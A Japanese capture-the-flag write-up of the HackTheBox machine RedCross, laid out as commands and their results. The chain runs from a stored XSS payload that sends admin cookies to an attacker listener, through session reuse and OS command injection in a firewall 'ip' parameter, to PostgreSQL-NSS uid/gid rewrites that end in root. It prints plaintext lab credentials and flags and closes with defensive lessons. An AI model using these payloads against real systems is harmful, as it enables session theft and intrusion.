HackTheBox: RedCross — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/443 + filtered多数
→
22/80/443 + filtered多数
XSS (cback欄)
管理者クッキー窃取
→
管理者クッキー窃取
admin.redcross.htb
セッション流用ログイン
→
セッション流用ログイン
firewall OSコマンド注入
www-data RCE
→
www-data RCE
unixusrmgr DB資格情報
ソースから直接取得
→
ソースから直接取得
仮想ユーザー gid=0
root グループ化
→
root グループ化
unixnssroot入手
nss-pgsql-root.conf
→
nss-pgsql-root.conf
uid=0書換え+改名
同一SSHセッション内su
→
同一SSHセッション内su
user.txt + root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmap バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 21,22,25,80,443,1025,3306,5432,8080 10.129.76.97
RESULT
PORT STATE SERVICE 21/tcp filtered ftp 22/tcp open ssh OpenSSH 7.9p1 Debian 25/tcp filtered smtp 80/tcp open http Apache httpd 2.4.38 443/tcp open ssl/http Apache httpd 2.4.38 | ssl-cert: Subject: commonName=intra.redcross.htb 1025/tcp filtered NFS-or-IIS 3306/tcp filtered mysql 5432/tcp filtered postgresql 8080/tcp filtered http-proxy
🚨
重要発見: 21/25/1025/3306/5432/8080が
filtered
(ファイアウォールでブロック中) であることが、後に判明する「管理パネルの
IP許可リスト機能」の存在を強く示唆している。SSL証明書のCommonNameから
vhost intra.redcross.htb も判明。
BASH
echo "10.129.76.97 redcross.htb intra.redcross.htb admin.redcross.htb" >> /etc/hosts curl -sk https://intra.redcross.htb/
RESULT
<h2>RedCross Messaging Intranet</h2> <h3>Employees & providers portal</h3> ... <a href='?page=contact'>contact form</a> ... <p>Web messaging system 0.3b</p>
PHASE 2
Contact form の “cback” 欄にXSS → 管理者クッキー窃取
Contact form の構造確認
BASH
curl -skL "https://intra.redcross.htb/?page=contact"
RESULT
<form method='POST' action='pages/actions.php'>
<input type=text name='subject' value='Request'>
<textarea name='body' ...>Details</textarea>
<input type=text name='cback' value='contact phone or email'>
<input type='submit' name='action' value='contact'>
</form>
ℹ️
フィールドは
subject・body・cback
(連絡先電話/メール欄) の3つ。subjectとbodyには
フィルタがあるが cback だけフィルタが無い。
リスナー準備とXSSペイロード送信
BASH
# Kali側: コールバック受信用HTTPサーバー python3 -m http.server 8899 # XSSペイロードをcbackへ送信 curl -sk -X POST "https://intra.redcross.htb/pages/actions.php" \ --data-urlencode "subject=Help needed" \ --data-urlencode "body=Please review my request" \ --data-urlencode "cback=<script>var i=new Image();i.src='http://10.10.15.200:8899/c?'+document.cookie;</script>" \ --data-urlencode "action=contact"
RESULT
Contact request sent.
管理者botの巡回を待機 → クッキー捕捉
NOTE
管理者(botまたは自動処理)が新規メッセージを定期的に確認しており、 保存型XSSが発火する。今回の検証では1分以内にコールバックが到着した。
RESULT (リスナーログ)
10.129.76.97 - - "GET /c?PHPSESSID=ng7oijmij4old0mohi6chahmb5;%20LANG=EN_US;
%20SINCE=1791278227;%20LIMIT=10;%20DOMAIN=admin HTTP/1.1" 404 -
✅
窃取成功! 管理者セッションの5つのクッキー値を全て入手。
404が返っていても
document.cookie の値自体はURLのクエリ
文字列として既に送信済みなので問題ない。
窃取した管理者クッキー
PHPSESSID=…; LANG=EN_US; SINCE=…; LIMIT=10; DOMAIN=admin
PHASE 3
盗んだクッキーで管理パネルへセッション認証突破
管理パネルへのアクセス
BASH
curl -sk "https://admin.redcross.htb/" \ -b "PHPSESSID=ng7oijmij4old0mohi6chahmb5; LANG=EN_US; SINCE=1791278227; LIMIT=10; DOMAIN=admin"
RESULT
<h2>IT Admin panel</h2>
<h3>Authorized personnel only</h3>
<p style='font-size:75%'>[[admin]]</p>
<a href='/?page=users'>User Management</a>
<a href='/?page=firewall'>Network Access</a>
✅
認証突破成功!
[[admin]]としてログイン済み。
“User Management” と “Network Access” の2機能が使える。
PHASE 4
Firewall機能のOSコマンド注入でRCE (www-data)
Network Access (firewall) の構造確認
BASH
COOKIE="PHPSESSID=...; LANG=EN_US; SINCE=...; LIMIT=10; DOMAIN=admin" curl -sk "https://admin.redcross.htb/?page=firewall" -b "$COOKIE"
RESULT
Whitelist IP Address: <input name='ip'> <submit value='Allow IP'>
BASH
# 自分のIPを許可リストに追加してみる curl -sk -X POST "https://admin.redcross.htb/pages/actions.php" -b "$COOKIE" \ --data-urlencode "ip=10.10.15.200" --data-urlencode "action=Allow IP"
RESULT
DEBUG: All checks passed... Executing iptables Network access granted to 10.10.15.200
BASH
# 許可後に実際にポートが開くか確認 nmap -Pn -p 21,1025,5432 10.129.76.97
RESULT
21/tcp open ftp 1025/tcp open NFS-or-IIS 5432/tcp open postgresql
ℹ️
“Allow IP” はDBへ新規行(UID/IP/認証時刻)を追加し、裏で
/opt/iptctl/iptctl allow <ip> を実行する。再取得した
firewallページには、その行を削除するための**隠しフォーム**
(ip+id+action=deny) が
表示される。
deny アクションの ip パラメータへコマンド注入
BASH
# firewallページから新規行のidを取得 (例: id=12) curl -sk -X POST "https://admin.redcross.htb/pages/actions.php" -b "$COOKIE" \ --data-urlencode "ip=10.10.15.200; id;" --data-urlencode "id=12" --data-urlencode "action=deny"
RESULT
DEBUG: All checks passed... Executing iptables
Network access restricted to 10.10.15.200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
🚨
RCE成功!
/opt/iptctl/iptctl のC実装自体は
execvpで安全に書かれているが、呼び出し元PHPが
$ipをシェルエスケープせずsystem()に渡している
ため、”allow”直後に新規作成されるDB行を削除する”deny”アクションの
ip値にセミコロン区切りで任意コマンドを注入できる。
注入したコマンドの標準出力はHTTPレスポンスへそのまま反映される
ため、以降の調査はリバースシェル無しで直接コマンド結果を取得できる。
⚠️
“deny”は該当DB行を実際に削除するため、同じ
idは
再利用できない。追加のコマンドを注入するには毎回
“Allow IP”→新しいid取得→”deny”注入を繰り返す必要がある。
PHASE 5
PostgreSQL-NSS資格情報の発見と仮想ユーザー作成
管理パネルソースからunixusrmgrの資格情報を取得
BASH
# コマンド注入経由で管理パネルのPHPソースをgrep curl -sk -X POST "https://admin.redcross.htb/pages/actions.php" -b "$COOKIE" \ --data-urlencode 'ip=10.10.15.200; grep -o "user=unixusrmgr password=[^\"]*" /var/www/html/admin/pages/actions.php;' \ --data-urlencode "id=25" --data-urlencode "action=deny"
RESULT
user=unixusrmgr password=dheu%7wjx8B&
ℹ️
このマシンは認証をローカルファイルではなくPostgreSQLに統合する
libnss-pgsql2 (NSS-PostgreSQL) 構成を採っている。
passwd_tableへユーザー行をINSERT/UPDATEできる
unixusrmgrロールの資格情報が平文でソースに
埋め込まれている。
User Management機能で仮想ユーザーを作成
BASH
curl -sk -X POST "https://admin.redcross.htb/pages/actions.php" -b "$COOKIE" \ --data-urlencode "username=kcr92208" --data-urlencode "action=adduser"
RESULT
Provide this credentials to the user:
kcr92208 : Ex3Bmysk
ℹ️
“Add virtual user” は
passwd_table へ新規行をINSERTし
ランダムなパスワードを生成する。デフォルトのgidは
1001 (“associates” グループ) で割り当てられる。
unixusrmgrでgidを0に書き換え (root グループ化)
NOTE
\dp passwd_table で権限を確認すると、unixusrmgrは
username/passwd/gid/homedir列にのみINSERT/UPDATE可 (uid列は対象外)。
作成した仮想ユーザーのgidを0に書き換えると、SSHログイン時にそのユーザーが
rootグループのメンバーとして扱われる。
BASH
curl -sk -X POST "https://admin.redcross.htb/pages/actions.php" -b "$COOKIE" \ --data-urlencode 'ip=10.10.15.200; PGPASSWORD='"'"'dheu%7wjx8B&'"'"' psql -h 127.0.0.1 -U unixusrmgr -d unix -c "update passwd_table set gid=0 where username='"'"'kcr92208'"'"';";' \ --data-urlencode "id=33" --data-urlencode "action=deny"
RESULT
DEBUG: All checks passed... Executing iptables
Network access restricted to 10.10.15.200
UPDATE 1
⚠️
ハマりやすい点: PHPの
system()越しに
さらにpsqlへ渡すSQL文字列をクォートする際、二重引用符の
エスケープを誤ると(例: バックスラッシュを1つ多く入れる)、
ターゲットのシェルに実際の引用符が渡らずUPDATE文
全体が空白で分断され、SQL自体が一度も実行されない。必ず最終的に
ターゲットへ送られる生の文字列を目視確認すること。
PHASE 6
gid=0でSSH → unixnssroot入手 → uid=0書換え+改名 → su → フラグ取得
gid=0の仮想ユーザーでSSHログイン
BASH
ssh kcr92208@10.129.76.97 # Password: Ex3Bmysk $ id
RESULT
uid=2022(kcr92208) gid=0(root) groups=0(root)
✅
rootグループとしてログインできた。gidを先に0にしておいたため、
SSHの
ChrootDirectory的な制限(gid=1001″associates”の
ユーザーは/var/jail相当へ閉じ込められpsql
バイナリすら存在しない)を回避できている。
root専用config読取でunixnssrootを入手
BASH
$ cat /etc/nss-pgsql-root.conf
RESULT
connectionstring = hostaddr=127.0.0.1 dbname=unix
user=unixnssroot password=30jdsklj4d_3 connect_timeout=1
ℹ️
このファイルは
root:root, 660 (グループ読取可) で
保護されているため、rootグループのメンバーであれば読める。
unixnssrootロールは全列(uid列含む)に
INSERT/UPDATE/DELETE権限を持つ。
uid=0への書換え + 未参照ユーザー名への改名
NOTE
nscdがユーザー名ごとにpasswd情報を600秒キャッシュするため、 既にSSHログイン済みの"kcr92208"のままuidだけ変更しても、再ログイン時に キャッシュされた古いuidが返ってしまう。また OpenSSH のPermitRootLoginはユーザー名でなくUIDでrootログインを 判定するため、uid=0になった状態で直接SSHしようとすると拒否される。 これを両方同時に回避するため、uid=0への書換えと**同時に**usernameを 一度も参照されていない新しい名前へ改名する。
BASH
# 同じSSHセッションを維持したまま実行する (再接続しない) $ PGPASSWORD='30jdsklj4d_3' psql -h 127.0.0.1 -U unixnssroot -d unix -c \ "update passwd_table set uid=0, username='kcr92208r' where username='kcr92208';"
RESULT
UPDATE 1
同一セッションから su → root化
BASH
# 接続を切らずに、改名後の新しいユーザー名へ su する $ su kcr92208r Password: Ex3Bmysk
RESULT
kcr92208r@redcross:~# id uid=0(kcr92208r) gid=0(root) groups=0(root)
✅
root化成功!
suはOSレベルで常にその場で
NSSへ新規に問い合わせるため、一度もキャッシュされていない新しい
ユーザー名に対しては正しくuid=0が反映される。かつ
suはPermitRootLoginの制限を受けないため
(SSHの直接ログインではないため) 問題なく成功する。
root.txt と user.txt の取得
BASH
kcr92208r@redcross:~# cat /root/root.txt kcr92208r@redcross:~# cat /home/penelope/user.txt
RESULT
ee855082331ecacf700f164704bda1f4 21e274135280b203644d661c205aacab
ℹ️
公開writeupの想定ルートではpenelopeのuser.txtへHaraka SMTP
サーバー(ポート1025)のRCE(Exploit-DB #41162)経由で到達するが、
今回のrootシェルからは
/home/penelope/user.txtも
直接読めるため、Harakaエクスプロイトを使わずに両方のフラグへ
到達できることを確認した。
user.txt — penelope
21e274135280b203644d661c205aacab
root.txt — root@redcross
ee855082331ecacf700f164704bda1f4
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — penelope
21e274135280b203644d661c205aacab
root.txt — root@redcross
ee855082331ecacf700f164704bda1f4
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 保存型XSS | intra.redcross.htb Contact form “cback”欄 | 管理者セッションクッキーの窃取 | Critical | 他欄にはフィルタがあるがcbackのみ未フィルタ、画像タグのsrcへdocument.cookieを埋め込みコールバック |
| セッション固定・再利用 | admin.redcross.htb のセッション管理 | 盗んだクッキーでの認証突破 | High | IPアドレスやUser-Agentのバインド無しに同じPHPSESSIDをそのまま再利用可能 |
| OSコマンド注入 | firewall “deny” アクションの ip パラメータ | リモートコード実行 (www-data) | Critical | system()呼び出し時に$ipをシェルエスケープせず渡しているためセミコロンで任意コマンド注入 |
| DB資格情報の平文ソース埋め込み | admin/pages/actions.php | unixusrmgr DBロールの資格情報漏洩 | High | www-data権限でのRCEを使いPHPソースをgrepするだけで読み取れる |
| PostgreSQL-NSS列権限の設計不備 + UID/キャッシュ競合 | passwd_table (libnss-pgsql2) | 一般ユーザーからrootへの権限昇格 | Critical | gid列書込可→rootグループ化→root専用configでより強い資格情報入手→uid=0書換え+改名+同一セッションsuでPermitRootLogin/nscdキャッシュを両方回避 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap -sV -sC | 22/80/443 open、21/25/1025/3306/5432/8080 filtered |
| 2 | XSS | contact form “cback”欄 + Imageタグ | 管理者PHPSESSID等のセッションクッキー |
| 3 | 管理パネル侵入 | クッキー流用 | [[admin]]セッションでログイン |
| 4 | RCE | firewall “deny”のip パラメータへOSコマンド注入 | www-data権限でのコマンド実行 |
| 5 | 資格情報収集 | PHPソースgrep + adduser機能 | unixusrmgr DB資格情報 + 仮想ユーザー(gid=0) |
| 6 | 権限昇格 | nss-pgsql-root.conf + uid=0書換え改名 + su | user.txt + root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| フォーム欄ごとにフィルタ適用がバラバラ(cbackのみ未フィルタ) | 全ての入力欄に一貫したHTMLエスケープ/CSPを適用する。1箇所だけ特別扱いしない。 |
| セッションクッキーがIP/User-Agent等にバインドされず単純に再利用可能 | セッション固定情報(IP, UA)をサーバー側で検証し、不一致時は再認証を要求する。HttpOnly/Secure/SameSite属性も徹底する。 |
管理機能のシェルコマンド構築で入力値をエスケープせずsystem()に渡している |
外部コマンド実行には必ずescapeshellarg()を使うか、可能な限りexec()系のargv分離API(シェルを介さない)を使う。 |
| DBの平文資格情報がWebアプリのソースコードに直接埋め込まれている | 資格情報は環境変数やシークレット管理(Vault等)で注入し、ソースコードに含めない。 |
| DB列単位の権限分離が複雑で、権限の低いロールでもgid列を自由に書き換えられる | 権限分離は「できることの積み上げ」ではなく「全体として何が可能になるか」を評価する。gid/uidのような特権境界に関わる列は、専用の承認フローを経ずに変更できないようにする。 |
